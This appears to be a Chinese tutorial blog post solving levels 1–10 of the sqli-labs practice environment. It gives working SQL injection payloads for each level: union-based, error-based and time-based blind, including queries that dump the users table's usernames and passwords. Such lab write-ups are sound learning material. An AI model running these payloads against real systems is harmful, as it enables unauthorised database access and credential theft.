sql-labs注入1-10关

#sql-labs1-10关
##.单字符闭合
(1).尝试寻找注入点,
我首先随便输入了?id=1观察页面,发现能登录。那么可以用下面的代码来寻找注入点。

and 1=2 --+

在这里插入图片描述
当这时出现下面图片时说明你找到了它的闭合方式,这时说明它存在注入点。
在这里插入图片描述
第一关的注入点为单引号闭合,不存在过滤。

?id=1' and 1=2 --+

找到注入点开始注入。首先我们要确保我们输入的id必须是错的,只有这样它才会返回我们想要的信息。
(2).联合注入
1.查找有几个字段

? id=-1' order by 3--+

在这里插入图片描述
当输入的字段大于实际字段时会显示以上错误。
2.爆数据库名。

? id=-1' union select 1,2,database() --+

在这里插入图片描述
security便是数据库名。
3.爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

在这里插入图片描述
4.爆表里面的字段名
我们在上一步爆出了我们所想要的表名,users.

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述
5.爆出所有的用户名和密码

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述
注意;0x3a为:的asll值;也可以使用下面的代码。

?id=0' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

在这里插入图片描述
##解释代码
group_concat()它的作用是是多行数据弄成一组,占一个显位。
column_name information_schema table_name table_schema 这些是phpMyAdmin4.8.5数据库中的一些数据库和表名,它的作用是存储用户所创的数据库名和表名及字段名。联合注入的原理也就是这个。
.第二关 无闭合
经过尝试发现第二关没有闭合所以注入时把单引号去掉就ok了(见第一关);
.第三关 为')型闭合。
.第四关 ")型闭合。
总结前四关闭合方式有',",'),")还有“没有闭合”这几种。
##第五关
由于它在输入正确的id时显示
在这里插入图片描述
所以它不能用联合注入法!可以使用时间延迟型注入,布尔型盲注,报错型注入。这三种注入方法。
###报错型注入
1.爆数据库名

?id=-1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

2.爆字段名

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

3.爆列名

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

4.爆用户

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

注意:此种方法具有随机性;
concat_ws与concat基本一样,它多了个分隔符[为分隔符。
floor函数意思是向下取整数,rand生成随机数。union select cout(*),1,concat(注入语句,floor(rand()*2)) as a from information_schema.tables group by a–+ 此种方法原理是在information_schema.tables中查找名字为a的表,如果没有名为a的表则,生成a的虚拟表并插入数据,这时候执行聚合函数插入表a,由于未有a表返回报错信息,即执行了注入语句。
###时间延迟型盲注
1.爆数据库名长度

?id=1' and if(length(database())=8,sleep(5),1)--+

这句话的意思是当数据库名长度为8是页面就先“睡”5秒再刷新。
2.爆数据库名

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

数据库名首字母为s时睡5秒再刷新。通过改变left函数中的数字得以爆出整个数据库名。
3.爆表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

4.爆字段名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

5.爆用户

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

这个时间延迟型盲注耗时,繁琐。我们可以用脚本跑。本人也只是理解并没有纯手工去爆出所有用户。
##第六关
参考第五关,这一关它的闭合方式为双引号闭合。其他和第五关一样。
##第7关
##第8关
单引号闭合的时间延迟型盲注;方法见第五关。
##第9关
写到这我提一句如果没有回显,那么咋判断它的闭合方式呢!这关无论你输入啥他总是会显示
在这里插入图片描述
所以我们用上几关的方法无法判断它的闭合方式,这关可以用?id=1' and sleep(3)--+来判断它的闭合方式。这关也是单引号闭合的时间延迟型盲注。方法见第五关。
##第10关
双引号闭合的时间延迟型盲注。
感谢大佬博客https://blog.csdn.net/qq_41420747
https://blog.csdn.net/weixin_43733035

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值